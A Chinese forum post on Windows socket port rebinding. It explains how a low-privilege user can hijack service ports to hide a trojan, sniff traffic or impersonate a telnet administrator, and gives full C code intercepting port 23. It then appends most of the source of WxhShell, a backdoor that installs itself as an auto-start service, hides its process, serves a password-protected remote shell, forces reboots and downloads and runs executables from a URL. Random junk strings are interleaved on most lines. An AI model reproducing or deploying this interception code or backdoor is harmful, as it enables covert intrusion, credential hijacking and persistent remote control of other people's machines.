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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9Q%Fel.  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )zVD!eG_9  
r@(hRl1k'  
  saddr.sin_family = AF_INET; ;HaG-c</  
O ijG@bI8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *tT }y(M  
%.D@{O  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ve / Q6j{  
N~ XzgI  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 nPUq+cXy]C  
"VcG3.  
  这意味着什么?意味着可以进行如下的攻击: t1 .6+  
wBXgzd%L  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 KArnNmJ9  
eESJk 14  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -3c?Yaf"  
5fBW#6N/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hU `H\LE  
cS ;hyLd  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9Kyr/6w4-k  
Re b^w,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Y&5h_3K;<  
8a1G0HRQ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 a8%/Xwr~  
'?k*wEu  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  B9^@]  
Jj'~\j  
  #include *(x`cf;k  
  #include l+Tw#2s$  
  #include %zB `Sd<  
  #include    w]\O3'0Js  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |L7 `7!Z  
  int main() (byFr9z  
  { '5eW"HGU]`  
  WORD wVersionRequested; G?d28p',.  
  DWORD ret; z6R<*$4  
  WSADATA wsaData; R28h%KN  
  BOOL val; ([ xYOxcp5  
  SOCKADDR_IN saddr; 8<6;X7<-  
  SOCKADDR_IN scaddr; ]pr;ME<M{  
  int err; avk0pY(n  
  SOCKET s; [N925?--S  
  SOCKET sc; nlK"2/W  
  int caddsize; 4>>d "<}C  
  HANDLE mt; #2&_WM!   
  DWORD tid;   g(MeCoCc  
  wVersionRequested = MAKEWORD( 2, 2 ); 0=&Hm).  
  err = WSAStartup( wVersionRequested, &wsaData ); Vo"\nj  
  if ( err != 0 ) { Xi1/wbC  
  printf("error!WSAStartup failed!\n"); 6546"sU  
  return -1; &}%3yrU  
  } R b6` k^  
  saddr.sin_family = AF_INET; _y),C   
   h4S,(*V$!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4RNB\D  
i}+K;,Da:8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Qg9 N?e{z  
  saddr.sin_port = htons(23); k| nv[xY0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o|AV2FM)  
  { *9((b;Ju  
  printf("error!socket failed!\n"); B9n$8QS  
  return -1; 7\K=8G  
  } aDTNr/I  
  val = TRUE; <`b)56v:+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \:\rkc9LI  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Y_)!U`>N?  
  { *<zfe.  
  printf("error!setsockopt failed!\n"); soXeHjNl  
  return -1; x\GCsVy  
  } f 6Bx>lh  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ; 7[5%xM  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `TOm.YZG  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @%fNB,H`  
Y dmYE $  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <MI>>$seiJ  
  { \L(~50{(  
  ret=GetLastError(); pog*}@ OS  
  printf("error!bind failed!\n"); 4WZ:zr N  
  return -1; 1pVagLlb:7  
  } _JiB=<Fkr  
  listen(s,2); 'q8T*|/  
  while(1) uMtq4.  
  { $3|++?  
  caddsize = sizeof(scaddr); A$Mmnu%  
  //接受连接请求 2}[)y\`t3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); l_y:IY$"  
  if(sc!=INVALID_SOCKET) (qnzz!s  
  { t0d1? ?G  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3VbMW,_&"  
  if(mt==NULL) gN Xg  
  { b'4{l[3~nl  
  printf("Thread Creat Failed!\n"); {Tl5,CAz  
  break; kFW9@ !9  
  } \vXo~_-&  
  } {A2(a7vV  
  CloseHandle(mt); 8TZNvN4u  
  } +dcBh Dq  
  closesocket(s); Q-_&5/G  
  WSACleanup(); htj:Z:C`  
  return 0; +ZEj(fd9  
  }   <T+)~&g$  
  DWORD WINAPI ClientThread(LPVOID lpParam) YN#i^(  
  { De@GNN"-  
  SOCKET ss = (SOCKET)lpParam; ,8nu%zcVn  
  SOCKET sc; #HpF\{{v  
  unsigned char buf[4096]; )"q$g&  
  SOCKADDR_IN saddr; ,&rlt+wE  
  long num; U6e 0{n  
  DWORD val; }eetx68\  
  DWORD ret; BMkN68q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {M96jjiInf  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /qa{*"2Qo  
  saddr.sin_family = AF_INET; YD_hg#=n  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4!64S5(7t  
  saddr.sin_port = htons(23); lM~ 3yBy  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OaY.T  
  { P3UU~w+s  
  printf("error!socket failed!\n"); f^b.~jXSR}  
  return -1; _ ]@   
  } NKd}g  
  val = 100; I !=ew |  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X?&(i s  
  { U1}-]^\  
  ret = GetLastError(); +Kw:z?  
  return -1; ?55t0  
  } :sAb'6u1EU  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gQMcQV]C$  
  { ^<49NUB>  
  ret = GetLastError(); FD:3;nUY7  
  return -1; GX?R# cf  
  } z{Z4{&M  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \ :To\6\Ri  
  { jR[VPm=  
  printf("error!socket connect failed!\n"); lZ|+.T!g?  
  closesocket(sc); ]Jz2[F"J  
  closesocket(ss); !_C*2+f  
  return -1; RC'4%++Nz  
  } 2wLnRP`*  
  while(1) /.P9n9  
  { 9.u}<m  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4zyN>f|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 OGW,[k= 2{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 A!B: vJ  
  num = recv(ss,buf,4096,0); /9T.]H ~  
  if(num>0) _)-t#Ve  
  send(sc,buf,num,0); fUj[E0yOF  
  else if(num==0) C+o1.#]JM  
  break; n-zAkKM  
  num = recv(sc,buf,4096,0); T%74JRQ  
  if(num>0) ~(i#A>   
  send(ss,buf,num,0); >-U'mkIH  
  else if(num==0) 3L}eF g,d  
  break; 3-x ;_  
  } *\Z9=8yK  
  closesocket(ss); s^f7w  
  closesocket(sc); K#Ia19au5  
  return 0 ; yp}J+/PX}  
  } QS7<7+  
wW &q)WOi  
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========================================================== O0^m_  
)Y4;@pEU  
下边附上一个代码,,WXhSHELL W]Bc7JM]T+  
#gW"k;7P  
========================================================== 8/W(jVO(-  
7PTw'+{  
#include "stdafx.h" nv$>iJ^~H  
5j'7V1:2  
#include <stdio.h> WB)pE'5  
#include <string.h> R !&9RvNw  
#include <windows.h> 8XfhXm>~  
#include <winsock2.h> atr 0hmQ  
#include <winsvc.h> dfy]w4ETB  
#include <urlmon.h> 0O>T{<  
mok94XuK)  
#pragma comment (lib, "Ws2_32.lib") m\zCHX#n  
#pragma comment (lib, "urlmon.lib") xER-TT #S  
r2ZSkP.  
#define MAX_USER   100 // 最大客户端连接数 an q1zH  
#define BUF_SOCK   200 // sock buffer Fnqj^5  
#define KEY_BUFF   255 // 输入 buffer z)tULnR8  
;|qbz]t2(  
#define REBOOT     0   // 重启 ~jz!jF~I  
#define SHUTDOWN   1   // 关机 gXJtk;  
2i9FzpC3  
#define DEF_PORT   5000 // 监听端口 V.w L  
jk (tw-B  
#define REG_LEN     16   // 注册表键长度 ?+)>JvWDz  
#define SVC_LEN     80   // NT服务名长度 p : {,~ 1  
:m]KVcF.  
// 从dll定义API ql/K$#u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ":v^Y 9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GJs{t1 E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]S0=&x@,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z}BuR*WSY{  
K<wg-JgA  
// wxhshell配置信息 &/m0N\n?  
struct WSCFG { "+XF'ZO  
  int ws_port;         // 监听端口 kz0pX- @b  
  char ws_passstr[REG_LEN]; // 口令 #~}4< 18  
  int ws_autoins;       // 安装标记, 1=yes 0=no )7c/i+FsC  
  char ws_regname[REG_LEN]; // 注册表键名 2CMWJi  
  char ws_svcname[REG_LEN]; // 服务名 c1tM(]&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pk8`suZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hZIbN9)8A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L;\f^v(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]ZR}Pm/CA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dzk1!yy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /07iQcT(  
mX2X.ww(4  
}; jXPf}{^  
-,186ZVZ  
// default Wxhshell configuration 4 :phq  
struct WSCFG wscfg={DEF_PORT, -M6#,Ji  
    "xuhuanlingzhe", /+wCx#!  
    1, 73j\!x  
    "Wxhshell", }!uwWBw`  
    "Wxhshell", Gq=tR`.  
            "WxhShell Service", !L[$t~z  
    "Wrsky Windows CmdShell Service", 8B?*?,n5  
    "Please Input Your Password: ", %45*DT  
  1, %E8HLTEvl  
  "http://www.wrsky.com/wxhshell.exe", ~@#s<a,%;  
  "Wxhshell.exe" j'x@P+A  
    }; -!lSk?l  
g es-nG-  
// 消息定义模块 lb{X6_.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !c"EgP+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rF$ S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Aflf]G1  
char *msg_ws_ext="\n\rExit."; &t U&ZH  
char *msg_ws_end="\n\rQuit."; {3T&6LA  
char *msg_ws_boot="\n\rReboot..."; z? Iu;X  
char *msg_ws_poff="\n\rShutdown..."; s .@Szq  
char *msg_ws_down="\n\rSave to "; qXprD.; }  
lFp:F5  
char *msg_ws_err="\n\rErr!"; XL/V>`E@  
char *msg_ws_ok="\n\rOK!"; o\<JG?P  
FM=XoMP q  
char ExeFile[MAX_PATH]; e%km}mA  
int nUser = 0; 5KNa-\  
HANDLE handles[MAX_USER]; FKtG  
int OsIsNt; Z*R~dHr   
H'IxB[  
SERVICE_STATUS       serviceStatus; !5qV}5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w7E#mdW  
C).+h7{nd  
// 函数声明 ~OMo$qt`lP  
int Install(void); |H(i)yu"5'  
int Uninstall(void); # uy^AC$  
int DownloadFile(char *sURL, SOCKET wsh); _Tf %<E  
int Boot(int flag); \#v(f2jPF  
void HideProc(void); *:% I|5  
int GetOsVer(void); Z,-J tl  
int Wxhshell(SOCKET wsl); UGxF}Q  
void TalkWithClient(void *cs); %CZGV7JdA  
int CmdShell(SOCKET sock); IL,iu  
int StartFromService(void); 33ZHrZ  
int StartWxhshell(LPSTR lpCmdLine); QFB2,k6jN  
_VB;fH$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4j}.=u*X7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @X2zIFm  
?AVnv(_  
// 数据结构和表定义 bN&DotG  
SERVICE_TABLE_ENTRY DispatchTable[] = :*vSC:q  
{ _}gfec4o  
{wscfg.ws_svcname, NTServiceMain}, e#vGrLs.  
{NULL, NULL} }Ui)xi:8  
}; y(*5qa<>  
x6Tpt^N}  
// 自我安装 2uT@jfj:r  
int Install(void) Y=i_2R2e2  
{ KGf@d*ZOMz  
  char svExeFile[MAX_PATH]; k$.l^H u  
  HKEY key; {z9,CwJan?  
  strcpy(svExeFile,ExeFile); I* P xQ  
Uw?25+[b  
// 如果是win9x系统,修改注册表设为自启动 yO/'}FD  
if(!OsIsNt) { g7w#;E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o4^#W;%w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BC85#sbl  
  RegCloseKey(key); I-Q(kWc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L<G6)'5W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i)/#u+Y1P  
  RegCloseKey(key); (S?qxW?  
  return 0; aI;fNy /K  
    } t]{, 7.S  
  } y#P _ }Kfo  
} E*yot[kj  
else { k!T-X2L=  
g2vt(Gf;  
// 如果是NT以上系统,安装为系统服务 l$!Z};mw0E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q>xp 90&.n  
if (schSCManager!=0) f*EDSJu\  
{ qP+%ui5xR  
  SC_HANDLE schService = CreateService {qm5H7sL  
  ( -%Jm-^F I  
  schSCManager, 5! ]T%.rM  
  wscfg.ws_svcname, P  V9q=  
  wscfg.ws_svcdisp, 8}X>u2t  
  SERVICE_ALL_ACCESS, c],Zw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -aDBdZ;y  
  SERVICE_AUTO_START, a ~k*Gd(  
  SERVICE_ERROR_NORMAL, l xP!WP  
  svExeFile, {M23a _t\  
  NULL, 'N&s$XB,  
  NULL, F)50 6  
  NULL, SbobXTbG  
  NULL, Wt=%.Y( x  
  NULL SwO8d;e  
  ); J=H8^4M  
  if (schService!=0) EkOn Rm_hn  
  { dCWq~[[  
  CloseServiceHandle(schService); T2to!*T  
  CloseServiceHandle(schSCManager); _AiGD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >p3S,2SM  
  strcat(svExeFile,wscfg.ws_svcname); h2aO-y>K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?#:!!.I:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L(/wsw~y*  
  RegCloseKey(key); [3] h(D  
  return 0; (#Xgfb"S3  
    } TrVQ]9;jWk  
  } 6f J5Y iQ  
  CloseServiceHandle(schSCManager); OSK:Cb.-?F  
} "-Uqv@  
} @ 3b-  
cMfnc.P\K  
return 1; bR=TGL&  
} Z"G?+gM@  
^.[+)0I  
// 自我卸载 oTeQY[%$  
int Uninstall(void) WhL"-f  
{ jYh.$g<`0+  
  HKEY key; OQ<NB7'n0A  
<$ %Y#I'zX  
if(!OsIsNt) { VKr oikz@]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &RlYw#*1.  
  RegDeleteValue(key,wscfg.ws_regname); 6w0r)  
  RegCloseKey(key); ~gEd (  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )7F$:*e  
  RegDeleteValue(key,wscfg.ws_regname); s=XqI@  
  RegCloseKey(key); mTa^At"  
  return 0; V/8yW3]Xy  
  } <h~_7Dn  
} "'c =(P  
} sv*xO7D.  
else { *L5L.: Ze  
rgu7g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M,eq-MEK  
if (schSCManager!=0) s`L>mRw`  
{ c`V~?]I>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M'xG.'  
  if (schService!=0) Lw{'mtm  
  { HTP~5J  
  if(DeleteService(schService)!=0) { vFGVz  
  CloseServiceHandle(schService); ,) }-mu  
  CloseServiceHandle(schSCManager); iu'rc/=V  
  return 0; 3]/Y= A  
  } `{\10j*B  
  CloseServiceHandle(schService); i'0ol^~y6  
  } H.TPKdVX  
  CloseServiceHandle(schSCManager); ;4(FS  
} ACH!Gw~  
} y/ah<Y0(  
RTYhgq  
return 1; (a8oI )~  
} YwF\  
{q BbzBG  
// 从指定url下载文件 o(5 ( ]bJ  
int DownloadFile(char *sURL, SOCKET wsh) mvBUm-X  
{ H{*R(S<I  
  HRESULT hr; -MeO|HWm  
char seps[]= "/"; 0Yc#fD  
char *token; 6H!"oC&  
char *file; ]m""ga  
char myURL[MAX_PATH]; @33-UP9o  
char myFILE[MAX_PATH]; iLkP@OYgQ  
2aGK}sS6  
strcpy(myURL,sURL); u}KEH@yv  
  token=strtok(myURL,seps); >l!DW i6  
  while(token!=NULL) 2<+9lk  
  { 2a:JtJLl  
    file=token; q0QB[)AP  
  token=strtok(NULL,seps); 1)h+xY  
  } p"/B3  
z,=k F I  
GetCurrentDirectory(MAX_PATH,myFILE); .JL?RH2@8  
strcat(myFILE, "\\"); RLbxNn  
strcat(myFILE, file); $.r:  
  send(wsh,myFILE,strlen(myFILE),0); .cm$*>LW:x  
send(wsh,"...",3,0); v]BMET[w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )Waz bT@  
  if(hr==S_OK) XDq*nA8#5B  
return 0; l050n9#9p  
else $Z^HI  
return 1; . vQCX1V(  
T=->~@5  
} C9FQo7   
8Dy;'BtT  
// 系统电源模块 k-\RdX)E  
int Boot(int flag) }KwL_\>&f  
{ mw&)j R$&  
  HANDLE hToken; giz#(61j^  
  TOKEN_PRIVILEGES tkp; [P746b_\e  
)k|_ CW~  
  if(OsIsNt) { n6 a=(T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); / L/hR4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /0qLMlL$  
    tkp.PrivilegeCount = 1; B@2VI 1%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >~k"C,6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )F) (Hg  
if(flag==REBOOT) { yPza  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o@KK/f  
  return 0; QGQ> shIeZ  
} IXef}%1N?  
else { DJf!{:b)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `V[{,!l;X  
  return 0; r .b!3CoQ  
} \`M8Mu9~w  
  } _}-Ed,.=  
  else { !z]2+  
if(flag==REBOOT) { W{(q7>g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Grw|8xN0t  
  return 0; 6S# e?>"+  
} `aW>h8$I)  
else { ^5 sO;vf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v5;V$EGD&  
  return 0; f?A1=lm~  
} 4R/cN' -  
} "?UBW5nM#  
&z(E-w/S  
return 1; L^0s  
} X) peY  
'{?7\+o.x  
// win9x进程隐藏模块 69$[yt>KYz  
void HideProc(void) .v{ok,&  
{ o1 kY|cnGH  
89[5a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ub/9T-#l  
  if ( hKernel != NULL ) = j,Hxq  
  { Y[ciT)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TxD,A0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^%?*u;uU%  
    FreeLibrary(hKernel); OF)G 2>t  
  } '-7rHx  
Ej]:j8^W  
return; "ebm3t@C  
} Nf<mgOAT1  
?(4E le  
// 获取操作系统版本 d/O~"d  
int GetOsVer(void) YxUC.2V|7$  
{ x$;I E  
  OSVERSIONINFO winfo; _Fz]QxO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7xIXFuu  
  GetVersionEx(&winfo); +q/ j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fvDt_g9oI  
  return 1; pp#xN/V#a  
  else ~<?+(V^D  
  return 0; ,33[/j  
} L:ox$RU  
$6ev K~  
// 客户端句柄模块 /uM;g9 m  
int Wxhshell(SOCKET wsl) '*~_!lE5  
{ %&RF;qa2xu  
  SOCKET wsh; <B?@,S>  
  struct sockaddr_in client; -<[MM2Y  
  DWORD myID; j<-#a^jb  
mu[:b  
  while(nUser<MAX_USER) M6 W {mek  
{ \L"Vx9xT  
  int nSize=sizeof(client); +$-@8,F>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :QGd/JX$n`  
  if(wsh==INVALID_SOCKET) return 1; ")t ^!x(v  
[!ghI%VK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I0 78[3b  
if(handles[nUser]==0) ?~vVSY  
  closesocket(wsh); `5V=U9zdE  
else iz&$q]P8  
  nUser++; arR9uxP  
  } ,F,\bp}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &p)]Cl/`  
=r3%jWH6  
  return 0; ZH:-.2*cj  
} 6V"|  
s[ ze8:  
// 关闭 socket hmRnr=2N  
void CloseIt(SOCKET wsh) 4$);x/ a  
{ v-k~Q$7~  
closesocket(wsh); Uq:WW1=kh  
nUser--; llCBqWn  
ExitThread(0); IMKyFp]h-  
} Tq\S-K}4!  
6`>WO_<z  
// 客户端请求句柄 3C,G~)= x  
void TalkWithClient(void *cs) ;"}yVV/4  
{ i'w8Li  
\(ygdZ{R  
  SOCKET wsh=(SOCKET)cs; =6XJr7Ay8u  
  char pwd[SVC_LEN]; oNyVRH ZH  
  char cmd[KEY_BUFF]; KW* 2'C&  
char chr[1]; {`FkiB` i  
int i,j; SXYH#p  
yqEX0|V%  
  while (nUser < MAX_USER) { X"4 :#s  
B-oQ 9[~  
if(wscfg.ws_passstr) { rd*`8B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8T7ex(w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )w?DB@Tx  
  //ZeroMemory(pwd,KEY_BUFF); YP^=b}  
      i=0; JHxy_<p/  
  while(i<SVC_LEN) { /s@t-gTi  
BGtr=&Hq  
  // 设置超时 B6N/nCvHK  
  fd_set FdRead; n{d0}N =  
  struct timeval TimeOut; E [:eMJR  
  FD_ZERO(&FdRead); zTgY=fuz  
  FD_SET(wsh,&FdRead); j20/Q)=h  
  TimeOut.tv_sec=8; Lro[ |A  
  TimeOut.tv_usec=0; B3+9G,or  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [y(DtOR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -8HK_eQn  
Dl a }-A:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #\|Ac*>  
  pwd=chr[0]; 6x'F0{U  
  if(chr[0]==0xd || chr[0]==0xa) { <Km ^>9  
  pwd=0; /5Od:n  
  break; DjyqQ yq~  
  } f9" M^i  
  i++; GI+x,p  
    } 6:fHPlqW  
7Ei,L[{\i#  
  // 如果是非法用户,关闭 socket ^tMb"WO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \dm5Em/  
} !"v[\||1  
 Re=()M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9J3@8h p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4YuJ-  
%^ bHQB%  
while(1) { FAkrM?0/  
/ [s TN.MG  
  ZeroMemory(cmd,KEY_BUFF); Y FJw<5&  
~.Wlv;  
      // 自动支持客户端 telnet标准   J!{t/_aw  
  j=0; eD|p1+76  
  while(j<KEY_BUFF) { YiO3.+H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  i/vo  
  cmd[j]=chr[0]; [P'"|TM[ ~  
  if(chr[0]==0xa || chr[0]==0xd) { yt'P,m  
  cmd[j]=0; @ 0'j;")XV  
  break; L;7u0Yg  
  } Wc*jTip  
  j++; V-{3)6I$hG  
    } ~+A(zlYr~  
-wh?9 ?W  
  // 下载文件 h SeXxSb:  
  if(strstr(cmd,"http://")) { ?*zDsQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l&/V4V-  
  if(DownloadFile(cmd,wsh)) GM~Ek] 9C%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :17Pc\:DS  
  else tJM#/yT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NihUCj"  
  } %.h&W;  
  else { Dhe*)  
oimM)Yo  
    switch(cmd[0]) { F@tfbDO?  
  _xefFy  
  // 帮助 'mELW)S  
  case '?': { Hk1[0)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O"M2*qiH  
    break; >\7M f@c  
  } V&h{a8xa$  
  // 安装 7es<%H  
  case 'i': { 6~!QibA|P  
    if(Install()) b8 ^O"oDrp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }@y(-7t  
    else oH,{'S@q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gTS} 'w{  
    break; @*9c2\"k  
    } 6MD9DqD  
  // 卸载 ` pYyr/  
  case 'r': { ?u?Nhf %b  
    if(Uninstall()) 3'7]jj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8.!+Hm4  
    else Ud_7>P$a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /h7u E  
    break; [;Y,nSw  
    } `0_,>Z  
  // 显示 wxhshell 所在路径 g5C$#<28  
  case 'p': { 5|jsv)M+  
    char svExeFile[MAX_PATH]; -U{CWn3G  
    strcpy(svExeFile,"\n\r"); = yFOH~_  
      strcat(svExeFile,ExeFile); bess b>=  
        send(wsh,svExeFile,strlen(svExeFile),0); -d.i4X3j  
    break; O**~ Tj  
    } }G)2HTaZ  
  // 重启 U*:ju+)k  
  case 'b': { oj(st{,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;u-[%(00S  
    if(Boot(REBOOT)) 2<T/N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (e_z*o)\T  
    else { [v+5|twxpU  
    closesocket(wsh); iG ,z3/~v  
    ExitThread(0); ^@C/2RX!  
    } 3xz|d`A  
    break; *E wDwS$$  
    } .k-t5d  
  // 关机 Xw#"?B(M]  
  case 'd': { 6lPuYEmT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Pav W@  
